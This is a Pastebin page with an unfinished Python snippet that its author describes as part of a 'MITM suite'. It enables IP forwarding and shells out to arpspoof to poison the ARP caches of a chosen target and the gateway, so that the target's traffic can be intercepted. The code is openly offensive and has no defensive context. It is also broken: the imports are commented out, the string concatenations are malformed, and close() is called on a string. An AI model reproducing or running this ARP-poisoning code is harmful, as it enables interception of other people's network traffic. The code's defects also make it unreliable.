Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Import os
- # Import Time
- # Enable IP forwarding
- # Just some functions I am writing for the MITM suite :)
- def ip_forwarding():
- try :
- os.popen("echo 1 > /proc/sys/net/ipv4/ip_forward") # Enable IP forwarding
- ipout = open("/proc/sys/net/ipv4/ip_forward" , "r").read() # Checks is it enabled
- time.sleep(1)
- if ipout[0] == '1':
- print("[+] IP forwarding enabled")
- else :
- print("[-] An error occured")
- ipout.close()
- except Exception :
- pass
- def arppoison(interface, target):
- print("[+] Preparing the ARP Poisoning Suite")
- gateway = os.popen("route -n | grep 'UG[ \t]' | awk '{print $2}'").read() # Gets gateway address
- print("[*] Targetted gateway is " + gateway) # Verbosity
- print("[*] Targetted user is " + target) # More verbosity
- print("[*] Interface in use is " + interface) # Even more verbosity :D
- os.popen("arpspoof -i " + interface + " -t " + target + gateway " & >/dev/null") # Doing the poisoning...
- os.popen("arpspoof -i " + interface + " -t " + gateway + target " & >/dev/null") # Doing the poisoning too...
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement